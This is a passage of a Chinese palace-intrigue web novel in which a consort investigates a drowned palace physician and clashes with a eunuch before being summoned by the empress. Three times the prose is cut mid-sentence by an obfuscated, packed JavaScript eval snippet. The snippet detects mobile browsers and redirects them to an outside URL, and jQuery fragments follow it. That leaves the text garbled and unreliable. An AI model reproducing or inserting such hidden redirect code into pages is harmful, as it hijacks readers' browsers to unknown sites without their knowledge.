屠骁抬手摸元鸣的头发。那黑发梳得光光亮亮,整整齐齐,上头虽只插着一根并脚钗,可气度并不输满头钗饰的尚宫。 “我头一次见你时,就瞧见你的荔枝钗了。那么神气的一支钗子,实在可惜了。” 她拔下自己头上的两根金钗,又摘下两只葫芦耳坠,将金饰捏得变了形,再也瞧不出原本的模样,塞到元鸣的手心里。 “够打一支荔枝钗吗?” 元鸣很想拒绝,话却说不出口。 为了调离掖庭,她早已用光了所有积蓄。那支荔枝钗是她最体面、也最贵的一件首饰。 尽管它只换来了尚宫一句话、叫他们少吹了片刻的冷风,她也从未后悔。 钱没了可以再赚,可面子没了就不大好过了。 元鸣接过变形的金饰,眼泪顺着鼻尖砸在手心。 “够了,打十支都够了。” 屠骁大笑:“好,那便打十支!” 元鸣还没来得及阻拦屠骁,笑声便被人打断。 “娘娘,请用药。” 声音从她们背后传来,是另一位女官李令微。她手中端着汤药,立在廊下,也不知将方才的话听去了多少。 触及屠骁的视线,她立刻换上了一副谄媚的笑脸。 屠骁却瞬间将笑意收敛,抬手拢了拢大氅。 “进屋吧。” 李令微的笑容僵在脸上,迅速垂下头,眼神若有似无地剜过元鸣藏在袖中的手。她虽未看清细节,也知道那是叫她嫉妒和愤恨的东西。 也不知道为什么,娘娘总是青睐元鸣,任凭自己如何讨好,却总是一副爱答不理的样子。 究竟是哪里出了问题? 元鸣没有瞧见她那一眼,将金饰藏好,便亲热地迎上前去,接过托盘:“我来吧。” 药还没喝,甄修仪便来了,手里还捧着一篮艾叶。 屠骁奇道:“这个季节还有艾叶?” “不单有艾叶,还有芍药、海棠、芙蓉、桃李。圣人最喜鲜花,官家特命人建了暖房,四时鲜花一应俱全。” 甄修仪将篮子放在桌上,用手指拂过叶片。 屠骁大为感慨,甄修仪瘦弱得像根文竹,随时能叫风吹倒,竟还顶着风专程来一趟。 “难为你大冷天跑这么远。也只有你还肯跑这么远了。” “林婕妤听了可要伤心了,她分明也来探过病的。” “她哪里是探病的?我瞧她嘴角都咧到耳根子了。” 甄修仪进了屋,身后紧跟着那个冷肃的女官。 她解下披风递给那女官,温言请她去与元鸣喝口热茶,暖和暖和身子,那女官这才躬身退了出去。 甄修仪松了口气,自然地握住屠骁的手。 她的手竟比屠骁还要冷,唇上毫无血色,看起来她倒像是那个得了病的人。 “你身子不要紧吧?” 甄修仪语气温柔,慢条斯理,拉着屠骁往里间走去,“听闻那夜刺客凶悍,连章都知这样武功高强的人受了伤,多亏了神佛庇佑,才叫你侥幸逃脱。可惜那晚下雨,若能瞧清刺客的样貌便好了……” 她忽的住了口,忙挤出个笑:“瞧我这话,那样凶狠的刺客,你若瞧见,岂不是病得更厉害了?如今皇城司已在全力排查,定能将刺客捉拿归案。” 话虽如此,她的声音却不由地颤抖起来,握住屠骁的手指指节发白,一副担忧至极的模样。 这莫名亲近的姿态叫屠骁浑身不自在。 “希望如此吧。”屠骁抽出手,顺着甄修仪的话道,“只是可怜守静宫的人受了牵连,他们本没有错的。” 甄修仪不以为意:“宫人没有看顾好主子,本就该罚,受了罚才能长记性。你是有大志向的人,可不要被这一时的情绪牵绊住了。” 她倒不知道自己竟还有大志向呢! 屠骁的笑意淡了些,问:“你信这世上有鬼么?” “你信么?” “鬼都到我窗前了,我不该信么?” 甄修仪似是有些意外,但转念一想,信轮回果报者自会信鬼神,便又释然了。 “你的意思是,那晚当真是……冤魂?” “是不是真的又如何呢?我倒希望她是真的鬼。” 屠骁叹了口气,“她口口声声喊冤,可我姐姐已经偿命给她了,她还嫌不够吗?非要夺走我的性命才肯罢休?” 甄修仪握住屠骁的手紧了紧,压低声音:“或许,该偿命的并不是你们呢?” 屠骁一愣:“你什么意思?” 甄修仪垂下眼:“我……我没什么意思。你就当我在胡说好了。” 屠骁失笑:“你这是在报复我吗?” 她指的自然是两人在宁妃处念经“猜谜”的事,如今轮到甄修仪跟她打哑谜了。 “你又没害过我,我为何要报复你?” 甄修仪继续装糊涂,一副遮遮掩掩、欲说还休、引人上钩的姿态。 屠骁不耐烦了。 她不再说话,端起桌上的药碗,一饮而尽,而后放下碗,手腕一翻,药匙脱手飞出。“铛”的一声,银匙正中窗边花瓶的瓶口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007994|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,悠悠转了半圈,“咚”的一下落入瓶腹。 她朝花瓶走去,挽袖探手。 “我这人不通文墨,听不懂弯弯绕绕。今日你若只是来探病的,那我便领了你的好意。你若不愿直说,我也不留你,免得过了病气。” 说罢,她已掏出银匙。 转身的瞬间,花瓶“哗啦”一声裂开,瓷片四散而去,在桌边打了好几个旋儿,一朝踩空,跌落在地。 “往后日子长着呢,该知道的事我总归有法子知道。” 甄修仪脸上那种淡然温柔的表情终于维持不住,碎裂开来。 沉默半晌,她才涩声道:“你是个聪明人,我本不该说的,现在看来,却是不得不说了。” “我只告诉你一件事,”屠骁盯着她,“若我姐姐当真害死了人,那是她罪有应得,我非但不会为她报仇,还要拍掌叫好,庆幸万家少了这么一个罪大恶极之人。” 甄修仪立刻道:“她绝不是那样的人!” 屠骁点头:“所以人不是她害的。” 门口传来“咚”的一声,似乎什么物件掉落在地。 甄修仪面色一变,“腾”地站起身:“你、你好生养病……我……我今日说得太多了,改日……” 屠骁一把将人扯至近前,凑近她的耳畔低语:“我虽生性蠢笨、头脑简单、武功奇差,但好在有的是力气。我再问你一遍,你的话当真说完了?” 她并未真的用力,那截皓腕却已隐隐发红,如同被劲风摧折的芦苇。甄修仪瞪了屠骁一眼,用力挣扎起来,却丝毫不能挣脱。 僵持片刻,甄修仪终于败下阵来。 今日她总算体会到什么叫“一力降十会”,什么叫秀才遇见兵、有理说不清。 她害怕自己的手真断在这里,只好在苦笑道:“圣人是想召你问话,叫我先来探听一番。” 屠骁不解:“我以为她早该召我问话了。” 甄修仪却摇头:“圣人喜静,不理后宫庶务,除了侍弄花草外,轻易不会召见妃嫔。” 这话说的好听,其实不过是不愿见、不屑见罢了。 圣人到底是圣人,又不是村头庙里的土地,想拜就能随便拜的。 若一个修仪能查清的事情,还犯得着圣人出面吗? 屠骁思忖片刻,实在不知道圣人需要探听什么:“难道她以为我在装病?” 甄修仪继续苦笑:“太医都瞧过了,我难道比太医还厉害不成?” “那我猜,她一定是查到了什么。”屠骁松开手,好整以暇地看着她,“或许圣人认为是我贼喊捉贼,这刺客是我自己引来的,想叫你来寻些蛛丝马迹。” 她顿了顿,当真思考起这一举动的可行性。 “可我的目的是什么呢……是了!单单闹鬼并不会引人关注,若是有了刺客,事情便闹大了。一旦闹大,注意自然而然便会引到司药溺死一事上,而我认定了真凶另有其人,便可趁机请求圣人重新彻查此事。” 甄修仪像是第一次认识她,盯着她上上下下看了许久,才喃喃道:“你真是个聪明人。” 说这句话时,她已然气势全无。 “但后宫不该有武功高强的女子。圣人也不会允许彻查。”屠骁淡淡道。 非但不会允许,恐怕还会将刺客的事一并扣到她头上,趁机治她的罪。 当然,前提是“女鬼”与“刺客”是同一个人。 此时此刻,最焦急的不是皇城司,也不是内侍省,而该是那个扮鬼之人。 她大概没想到,一次装鬼的把戏会演变成刺杀要案。 此刻她定是迫不及待地想跳出来,证明自己并非刺客吧? 11. 蠢货 既然开了头,甄修仪便不再隐瞒。 “如今只是有了些许猜测,至于案件内情,我却是无从得知。我是圣人举荐入宫的,不得不来这一趟。但我偏又得过淑妃娘娘的恩惠,不忍心看你误入歧途……” 她既惋惜,又担忧:“此事已经盖棺定论,你又怎么能拗得过圣人呢?” 屠骁反问:“你又怎么知道我拗不过呢?” 甄修仪怔愣片刻,喃喃:“我本以为她已去了,便无人在意真相了……” 泪水从甄修仪的眼角滑落,那张脸上的哀伤与沉痛太过强烈、太过真实,谁也不会怀疑其中隐藏的情意。 屠骁静静欣赏着那张美丽的脸,待甄修仪哭够了,才缓缓开口。 “所以,你会帮我的,对不对?” 甄修仪瞥了眼窗外,见门口无人,飞快道:“那司药是溺死在海棠苑的池子里的,她的指甲里有云锦的丝絮,那种料子恰巧只做了一件罩衫,给了淑妃娘娘。娘娘的衣裳上头也发现了划痕,再加上娘娘曾训斥那司药,嫌她的安胎药太苦……” 屠骁不动声色地点点头。 这些消息本就不是秘密,只要有心,有银子,都能打听得到。 她点头,是因为知道甄修仪没有骗她。 “偏那司药出事时,淑妃娘娘正在云笈阁,与宁妃娘娘在一处。事后,淑妃娘娘身边倒是有个宫女暴病而亡。” 此事矛盾就矛盾在,死者身上的证据指明,行凶的正是万淑妃本人。可事后种种,却又表明她是指使身边宫女所为。 更蹊跷的是,宫女一死,便是死无对证,万淑妃又何苦非要自戕? 难道真是良心过不去么? 甄修仪跟在圣人身边,知道的消息着实不少,可她话没说完,外头响起了轻微的叩门声。 听到那声音,甄修仪迅速用袖口擦干脸上的泪痕,眨眼的功夫,就换上了一副娴淡温柔的面孔。 “待你病好,可别忘了来澄心斋找我。万事小心。” 最后一句话极轻,说罢,她微微屈膝,告辞离去。 屠骁道了句不送,看着她在女官的冷视下淡然离去。 元鸣一进屋,便瞧见桌上的碎瓷片,当即低呼一声,冲上前来:“娘娘哪里受伤了?” 她一面自责,一面忙唤宫女来打扫。 屠骁摆手不语,微微发怔。 甄修仪话虽没说完,却透露了一个要紧的消息—— 那溺死的司药有个妹妹,名叫白霜,三个月前方才嫁人。姐妹二人感情颇深,拿捏住了白霜,便等同于拿捏住了白司药。 若是有人以妹妹为质,叫姐姐做一件事,做姐姐的会不会甘愿舍出自己的性命呢? 屠骁已经知道了答案。 - 皇城司与内侍省查案并未声张,除了几个宫妃外,案情如何,外人无从知晓。 对于大部分宫人而言,不过是闹了些老生常谈的鬼神传闻,自有国师所书的灵符和“仙君”的真龙仙气庇佑。 哪怕这仙气已蹿到了南郊,也依旧疗效不减。 宫里的日子如同一口深井,任凭外面滔天巨浪、狂风骤雨,最终都会被这青砖黛瓦消磨殆尽,了无痕迹。 守静宫自然也平静了下来。 屋子里弥漫着淡淡的药味,混着柏子香的芬芳,恍若世外仙山中的一处幽居。 章简刚受了杖刑,尚未完全恢复,弯腰还有些困难。他没有使出内功护体,一掌粗的实心木杖着着实实地打在背上,顷刻间便烙下连片骇人的淤青。 这是他自己要求的,务必要那太监使出十成十的力气。 那掌刑的太监本就是常派的人,被他言语相讥,哪里还有可能手软? 刑毕,章简呲牙咧嘴地笑:“多谢,多谢。” 他本不必要如此,却不得不如此。 因为他知道,若是自罚得轻了,不能叫干爹满意,等来的将会是更恐怖的行刑。 入宫头几年时,他尚未摸透章怀恩的脾气,以为多说两句好话,得了两个笑脸,便可恃宠而骄,卖弄聪明。 十一二岁,正是贪玩的年纪,义兄一撺掇,他便偷偷从内侍省的后院跑了出来。 少练一日功又能如何呢? 反正干爹已出了宫,一时半刻回不来,又怎么会发现呢? 可干爹还是发现了。 他像是浑身长满了眼,四面挂满了耳,宫里但凡有一丝风吹草动,都能传到他的面前。 章简怕极了,却又有些不服。 他们不过是多玩了片刻,又没惹祸,何至于如此重罚呢? 章怀恩没有多说,只是给了他们一人一把刀:“你们都心中委屈,不愿受罚,可总要有一个人受罚。不是你,便是他。去吧。” 刀是好刀,由精钢打造而成,刀柄上还镶着玛瑙。 刀也是快刀,刀刃十分锋利,开了一条细细的血槽,插入人胸膛时几乎不用费力,拔出时也是十分干净利落。 那日,章简满身是血地缩在床上,睁着眼过了一夜。 翌日一早,章怀恩便将义兄那把小刀一并给了他,笑眯眯道:“我已替你料理干净了。你天资聪颖,练功一事,最忌怠惰分心,否则难有大成,你可记住了?” “……记住了。” 他记住了不可怠惰分心,记住了不可欺瞒干爹。 更记住了一点:不论受了怎样的伤,得了怎样的委屈,干爹总是为了他好的。除了干爹,再也没有人对他这样好了。 如此想着,伤也不觉得疼了。 “你先去吧,娘娘还病着,那头离不得人。” 背上的伤已经上了药,并无大碍,章简不习惯有人近身伺候,上完药便叫小黄门离开。 小黄门还没应,便听“嘭”的一声,门被人踹开了。 严律晃着扇子走了进来。 此人进来顶替章简成了权都知,正是春风得意。 可他本无才学,心眼又小,谁也不信任、谁也看不惯,这都知之位坐得烫屁股。桩桩件件的事务压下来,才几日,他便忙得焦头烂额,只好捏着鼻子来找章简。 严律身后跟着两个殿头,二人面上敷着厚厚的香粉,手中拎着木盒。 闯入屋内,严律愣是退了半步,嫌恶地扇了扇袖子。目光落在章简黑紫交加的脊背上,他唇边又勾起笑意。 “文约啊,你怎么舍得对自己下如此狠手!” 他翘着脚坐下,慢悠悠地开口,腔调拉得又长又尖,“啧啧,打成如此模样,干爹也该消气了吧?你说你,平日里最是贴心,从不惹祸,谁知一惹便惹了个大的。只求此事早日了结,千万不要牵连到干爹才好!” 章简只穿了半边衣裳,给那小黄门使了个眼色,等人离开,他才从榻上起身,继续穿另一半。 每动一下,背后的伤口就像被无数根针同时扎进去,冷汗瞬间便浸湿了里衣。他却依旧挂着那副招牌式的笑脸,仿佛受伤的不是他自己。 “严都知有事?” “啧啧,要我说你什么好呢?文约啊,你可真是个蠢货!” 严律举着团扇,在桌上重重敲了一下,冷哼道,“你既瞧见了刺客,便不得不管;既管了,便成了你的事;你的事,便是干爹的事。他又如何能不管呢?换做是我……哼!任凭她叫破喉咙,我也不会出去瞧上一眼。” 他似是真心劝诫,又不忘卖弄智慧,语重心长道:“人各有命,这宫里的花儿今日开、明日败,也不知能有几日红。须得保住大树,才有荫凉可乘。你呀,武功厉害,可若论起这人情世故,却是远——远——在我之下啊!” 团扇轻晃,风掀起一股浓烈的脂粉香,章简露出了淡淡的笑。 他自然不能说出干爹命他暗中盯着万昭仪的密令,只能由着这小人耀武扬威。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007995|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 估计在这人看来,他已经是条落水狗,此时若不来踩上一脚,日后待他上岸就再无机会了。 有时候欣赏旁人的无知倒也是一种快乐,他冷眼旁观着严律神气盎然的表情,心里止不住地发笑。 一番高谈阔论之后,严律连忙招呼两个殿头:“快把账册拿来,给章押班瞧瞧!” 那两人将木盒打开,将账册取出,一一摞好,竟堆出了两座小山。 “好了,快瞧吧,明日着急用。” 严律不肯挪动尊臀,偏要章简站着,弯腰伏在桌案上看那账册。 章简脸上的笑意更深了,心里盘算着日后寻个什么由头,将此人一片片剐了才解气。 “严都知说笑了,如今你才是权都知,这等大事哪还轮得到我来过问?” “要你看你就看,话多!” 严律一拍桌子,震得自己手掌麻了一下,他嘶了一声,道:“干爹已发话,你若再不识抬举,这守静宫你也待不下去。你莫非想去掖庭抄经么?” 章简不动,严律心头火气,朝两个殿头使了个眼色。 那两人立刻上前,一左一右地按住章简的肩膀,试图将他强行按到桌案前。 他们不曾领略过章简的功夫,倒是无所畏惧。 章简冷哼一声,肩头微沉,一股内力蓄势待发。 就在他即将出手伤人的瞬间,门外忽的响起一个清脆的女声。 “章掌事,元司宫来了。” 章简蓄起的力道猛然一收,周身的杀气也随之消散。 他迅速整理了一下衣襟,抚平褶皱,扬声道:“快请。” 门被推开,一个宫女引着元鸣走了进来。 屋内的浊气仿佛瞬间被冲淡了。 元鸣今日穿了件浅绿色的宫装,梳着简单的双环髻,插着两支银钗,面如满月,眉如柳叶,进来盈盈一笑,露出两个浅浅的梨涡。 严律的眼睛立刻直了,说话也拿起腔调了。 “这、这位便是元、元司宫?啊呀,某可是从未见过——” 那种带着钩子的目光元鸣也不是第一回见了,心中虽是犯呕,面上却依旧从容。 她先是冲严律规规矩矩地躬身:“守静宫司宫元鸣,见过严都知。” 而后冲章简笑道:“章掌事,我们娘娘身子好些了,唤您过去说话呢。” 章简侧身,两座账册堆积的小山从他背后现出轮廓。 元鸣瞥了严律一眼,为难道:“原来严都知还有公务与章掌事商议,可娘娘那头——” “无妨,无妨!”严律连忙摆手,脸上堆起笑,“娘娘的事才是正事。” 说着,想去拉扯元鸣的手,被元鸣一躬身,闪了过去。 “多谢严都知体恤。” 这厮文不成武不就,却是出了名的好色,也不知一个阉人要色有何用。 看得见吃不着,岂不更难受? 这才是真正的蠢货。 章简心中嗤笑,面上却恰到好处地露出恭维之色。 “账册是记好的,须臾便能理清。严都知英明神武,才干过人,哪里有什么公务与我商议,不过是来与我叙叙旧罢了。” 严律瞪了章简一眼。 元鸣笑道:“严都知果然厉害。” 严律不愿在美人面前丢了面子,听了这话只觉得通体舒泰,当即一挥团扇,满口应下:“是是是……我不叨扰了,这便告辞。元司宫,改日再会!” 两个殿头忙不迭地抱着账册退了出去。 章简穿好衣裳,随元鸣往正院走去。 他竭力想让步子迈得与往常无异,但后背的剧痛却出卖了他的软弱,就连元鸣这样毫无武功的人都能瞧出他的不对劲,故意放慢了脚步,迁就他的速度。 走到月门,四下无人,元鸣忽然顿住,凑近了些。她飞快地从袖中摸出一小块东西,塞进章简手中。 12. 你往哪里看? 那东西半个巴掌大小,入手尚温,是一小块金饼。 这是元鸣头一次自作主张,心跳得很急,话也说得断断续续。 “这是娘娘叫我给你的。她说……说连累你我受罚,过意不去。她病中还惦记着你,亏得我拦住了,不然她便亲自来了。这金饼……你我一人一块,可别叫旁人知道了!” 笼络人心这等差事,本就是一宫女官该做的。 娘娘的赏赐实在太贵重,她于心不安,索性一分为二,给了章简一半。 章简自然不会去核实这话的真假。 他垂下眼,看着掌心那块分量可怜的金饼。 该说这万昭仪天真呢,还是愚蠢呢?对奴才还用上真心了? 区区一小块金饼,怕是连一瓶上好的金疮药都买不来,以为这就能将他收买了? 可他面上却只做出惶恐又感激的样子,躬身应下,又连连表忠心。 元鸣见他收了,终于放下心来,笑得两个梨涡深深陷了下去,眼睛亮晶晶的:“只要娘娘好,咱们也就跟着好了!” 章简不觉侧目。 他本觉得元鸣可笑,此刻忽又生出几分佩服。 即便万昭仪愚蠢天真、嚣张莽撞、前途未卜,这人也肯将自己的下半辈子全部押在她身上。 就如同当年,自己将全部希望押在干爹身上一样。 人生本就是一场豪赌。赌输并不可怜,可怜的是有些人连上赌桌的勇气都没有。 屋里烧着熏笼,佛手柑的香气与药汤味混在一起,形成一种奇异而矛盾的味道。 宫人都退了下去,四下静悄悄的,章简不曾伺候过女主子,自来了守静宫也没怎么与娘娘打照面,此刻只觉说不出的别扭。 “坐吧。” 章简没有动,依旧躬着身,垂着头:“不知娘娘传臣来,有何吩咐?” 屠骁没有立刻回答。 她站起身,踱步到他面前,鼻尖凑近,鼻翼微翕,像只嗅到兔子的猎狗。 “你有没有闻到什么味道?像是……像是……” 她似是疑惑,似是玩味,思索良久,弯着唇吐出两个字:“恭桶。” 章简的笑容瞬间凝固。 额头不受控制地抽动了一下,双颊起伏不停,险些将牙咬碎。 他背部的伤虽看着骇人,实则修养几天便能痊愈。 最要紧的还是大腿。 那伤在大腿根部,是随处可见的剪刀捅的,伤处隐秘难缠,不便叫人换药,更无法沐浴,因此这几日他都只是用热巾擦洗。 他自诩收拾得干净,身上除了伤药味,便只有衣裳上自带的熏香,绝不可能有那种污秽气味。 她是在羞辱他。 蠢货,章简暗骂。 她绕着他不紧不慢地走着,裙摆拂过地面,发出细微的摩擦声。 他盯着那双软底绣鞋,盯着那双脚,脑中雾蒙蒙一片。 哒哒哒,脚踩在琉璃瓦片上。 万昭仪武功平平,甚至可以说很差,消息不会有错,他也是亲眼见过的。 可她步伐却并不沉重,或许轻功倒是不赖? 沙沙沙,宫女在扫着廊下的落叶。 破空而来的叶梗,准确击中浑身要穴。 那刺客身法轻盈诡秘,力道狠绝刁钻,鬼神莫测的十三记暗器,除了十三刀,绝无旁人能使得出。 而十三刀绝不仅是轻功好而已。 啪啪啪,银鞭在空中发出脆响。 难道万昭仪有意隐瞒功夫,她就是十三刀?可是,怎么会呢? 十三刀已经销声匿迹许久了…… 啧啧啧,双唇一张一合。 假若万昭仪就是十三刀。 那么…… 那么所谓的“女鬼喊冤”必定是她自导自演! 那晚压根没有什么鬼魂,一切不过是声东击西,为了方便她去行刺! 之所以遍寻不见刺客的踪迹,因为刺客就在这里,就在眼前! 无数画面在章简脑中翻滚,最终,一只手掌劈开浓雾,挥至眼前—— 那一掌分明打中了刺客的心口,绝不会错! 只要看看万昭仪的心口是否有伤,只要看一眼,便能得知…… 蓦地,他的下巴一凉,思绪叫人生生截断。 两根手指准确无误地捏住了下颌,微微上抬。他的视线不由自主地从那处弧度向上滑动,对上了一双冰冷讥诮的眸子。 “你往哪里看?” 章简一惊,下意识想垂下头,可他忘了自己的下巴还被人捏在手里,能动的只有眼睫。 而在他睫毛低垂,目光掠过那处弧度的瞬间—— “啪。” 一记巴掌挥在他脸上。 “放肆!”屠骁双臂抱胸,冷冷望着他。 章简被打懵了,连表情都忘了做,愣了两秒,突然想笑。 瞧瞧,方才还嘲笑登徒子,此刻自己却成了登徒子! 他想反驳,可话到嘴边,嚼了两遍,变成了讨好。 “不敢。臣观娘娘呼吸凝滞,似是肺气受损,寻常汤药恐难根治。臣自小习武,受伤生病是家常便饭,因而学了些推拿调理的手段,愿为娘娘分忧。” “是么?”屠骁吹了吹手指,仿佛上头沾了什么不干净的东西,“你是只顾着犯痴了么?我方才说的你一句都没听见?” 那一巴掌使了全力,章简的脸颊都红了,他却浑然未觉,笑道:“听见了。可臣如今已非权都知,尚膳局恐怕难以听我调遣。” 屠骁知道他不是不愿,只是有条件,道:“我不信你这点本事都没有。宫里的规矩我懂,钱不够只管找我,还有什么一并提出来。” 原来那金饼不是给他的,是为了这个。 章简心里有气,不咸不淡道:“怎敢劳烦娘娘呢,臣尽力而为就是了。” 不就是想查那溺死的司药么? 那便查好了。 正好可以摸摸她与什么人搭线,有无内应。 若因此得罪什么人,那便再好不过了。 到时干爹卖个面子捞她一命,还愁她不感恩戴德、俯首帖耳? 当然,想象总是很美好,现实却很残酷。 屠骁斜着瞪章简:“你冷着脸给谁看?莫非还想挨一巴掌?” “臣……” “臣什么?你看都看了,还不敢承认?” “……” “如今抽你一巴掌,此事便算了。下次再有,便是十巴掌、一百巴掌,看我不打得你满地找牙!” 章简本就心虚,又见识过她的伶牙俐齿,索性不再辩驳,由得她骂几句出气。 他今日算是领教了什么叫急性子,当真是片刻也受不得委屈,有仇立刻便要报,有气立刻便要出。 出过气,一切便好了。 她冲他招招手,他没再推拒,顺势坐下。 “先前你说你是我的人了,还算数么?” “自然。” “你还说,有话不妨直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007996|194110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问。也算数么?” “知无不言。” 她凑近了些,低声道:“你任权都知有几年了?” “回娘娘,已近三年了。如今臣已并非权都知。” “不碍事。我只问你,我姐姐身旁的宫人如今都去了哪里?” “一共十八人。十人去了掖庭及外侍省,四人分入六局,一人已死,家中未来领尸,便葬在西山了。” “还有三人呢?” “在云笈阁。” “云笈阁?” “正是。” “做什么差事?” “先是洒扫使唤,如今有两人已调到二大王身边伺候。” 二大王,便是官家后宫仅存的硕果、唯一的儿子,殷煊。 屠骁沉吟片刻,没再开口,而是转身往里间走去。 走了两步,她才发现章简没跟上,回首道:“不说要推拿,还不快来?” 章简早已站起身,还以为今日这场针锋相对到此为止,闻言脚尖一顿,不可置信地望向屠骁。 方才还扇了他一巴掌,怎么转瞬间又似毫无芥蒂的样子? 屋里熏笼烧得暖,屠骁身上穿得并不多,一件对襟衫系得严严实实。许是她动作太大,肩头那处衣料却隐隐有向下滑落的趋势。 她面上还带着病中的红晕,一缕发丝虚虚挂在额前,将落未落。 她以为的推拿,是怎样的推拿?跟他所想的是不是一个意思? 章简脑中蓦地闪过自己挥出的那一掌,掌心下柔软的触感与眼前的人重叠在一起,叫他顿觉分外屈辱与难堪。 他当即躬身,声音都有些发紧:“臣这粗手笨脚的,不敢玷污娘娘的玉体。臣会将手法教给元司宫,由她来为娘娘推拿。” 屠骁像是已经忘了方才那“登徒子”的行径,真诚道:“你倒不必如此避讳。” 章简额头上沁出薄汗,不再分辩,只躬身道:“臣告退。” “等等。” 屠骁走到梳妆台前,从雕花木匣里取出一个瓷盒,瓷盒不过巴掌大小,盒盖上画着三朵桃花,散发着浓浓的药味。 “这是清淤膏,抹在背上。” 章简下意识后退一步,没有接。 屠骁皱起眉:“一码归一码。你帮我办事,却连我的东西都不肯要?还是说,你觉得这里头有毒?” 不等他回答,她便打开瓷盒,用指尖挖了一抹碧绿的膏体,飞快地抹在自己手臂上。 章简躲闪不及,将那一整截小臂、半截大臂都看了个满眼。唯恐再挨一记巴掌,他霎时飞开视线,伸手接过了药膏。 “多谢娘娘。” 话未说完,人已退至门口,步履匆匆,可以说是落荒而逃。 待人走了,屠骁才慢悠悠地放下袖子,扒开衣领,低头瞄了一眼。 心口处本该有个掌印的轮廓,如今已被她细心遮掩好了。 她今日叫章简来,本就是想寻个由头,让他“无意间”瞧见自己的伤处。 谁知这大好的机会,竟被他自己放弃了。 这厮显然已经怀疑到她头上了,只是迟迟不肯出招试探。 也是,他素来小心谨慎,偷看主子这等放肆的事定然是不会亲自做的。 此次不成,必有后招。 章简的确备了些后招,却没来得及使——当天夜里,昭仪娘娘便被圣人唤走了。 准确地说,是被常怀德带走的。 一同被带走的,还有守静宫的全部宫人。 13. 不对劲 清微宫里没有香,只有花。 桌案上,窗台边,回廊下,甚至连雕花横梁都用金钩银索挂着藤编花篮。 奇花异卉铺了满桌满墙,馥郁的香气混杂一处,浓得化不开,人一踏入,便似要被这花山香海活埋。 圣人酷爱这般花团锦簇,也都当得起这般富贵。 当今圣人娘家姓周,亲叔叔官拜中书门下平章事,族中子弟遍布六部要津。 从先帝朝的贵妃,到当今官家的第一任皇后,再到如今这位圣人,三代恩宠,泼天权势,早已将他们的骨头都浸透了。 屠骁饶有兴味地打量着殿中陈设。 桌上摆的是夜明珠,案头压的是玛瑙盘,一只描金漆盒下,还压着一方青色的帕子,整整齐齐,半点褶皱也没有。 她像个无事人,竟还有闲心与一旁侍弄花草的宫女讨教花名。 “那是西洋来的宝珠山茶,圣人最是喜爱。”宫女笑答道,“人活一世总是要团团簇簇,热热闹闹的才好。” 宫女们穿得皆是织锦绣花的衣裙,就连太监都在幞头上簪着好几朵花。 屠骁便坐在这花海中等。 等了许久,久到茶汤的泡沫都散了,圣人终于姗姗来迟。 她已年过四旬,眼角眉梢已染上岁月的痕迹,可眼神与动作偏又带着天真烂漫的娇憨,脚步也似年轻人一般轻盈敏捷。 身上的褙子和长裙皆绣满了宝相花,行走之间,花朵仿佛活了一般,次第绽放、缓缓旋转,衬得整个人宛如花神降世。 连日的查案本就消磨精神,此刻已过了就寝的时间,她面上一副恹恹的模样。 待坐在首座,才恍然发现下首还坐着个人,是头一次见面的“万昭仪”。 她受了屠骁的礼,目光上下扫了一圈,开门见山道:“叫你来并非是兴师问罪。只是案子查到了你宫里,总要来做个见证。” 态度不冷不热,似乎对后宫中多出的女人浑不在意。 “早日了结这桩事,我也早些向官家交差。” 提及官家二字,她疲惫的脸上便浮现出初恋少女般的笑容。 宫女奉上新点的茶汤,圣人却不喝,只取过一张绣着并蒂莲纹的锦帕轻轻扇动,凑在鼻端,轻嗅茶气。 宫女的手指揉着她的额角,那张脸慢慢恢复了神采。 “叫常怀德来。” 常怀德应声而入,身侧还跟着一名面容冷肃的宫正司女官。 常怀德躬身禀道:“守静宫掌事章简与刺客交手,从刺客身上撕下一片衣角。经内库、尚服局连日比对,现已查明,那料子是两个月前新制的一批冬衣内衬,专供给三品及以下的宫人。刺客既已拆了内衬,那破损的衣裳想来早已销毁。” 这岂不是没有证据的意思了? 圣人并未开口,知道常怀德还有后话。 果然,常怀德话锋一转:“臣等又排查了各宫冬衣数目,已与账册一一核对完毕。唯有守静宫,前些时日曾以宫女衣衫不慎为炭盆所燎为由,额外支领了一件冬衣。” 屠骁的眉梢轻轻一挑。 如此结果,她并不意外。 那夜的“女鬼”并无轻功,却能很快便消失踪迹,显然就住在守静宫,就是她的身边人。 只是,真会有人蠢到拆了自己的衣裳去扮鬼么? 圣人并未开口,殿内一时陷入沉默。 片刻后,屠骁终于明白她们在等什么了。 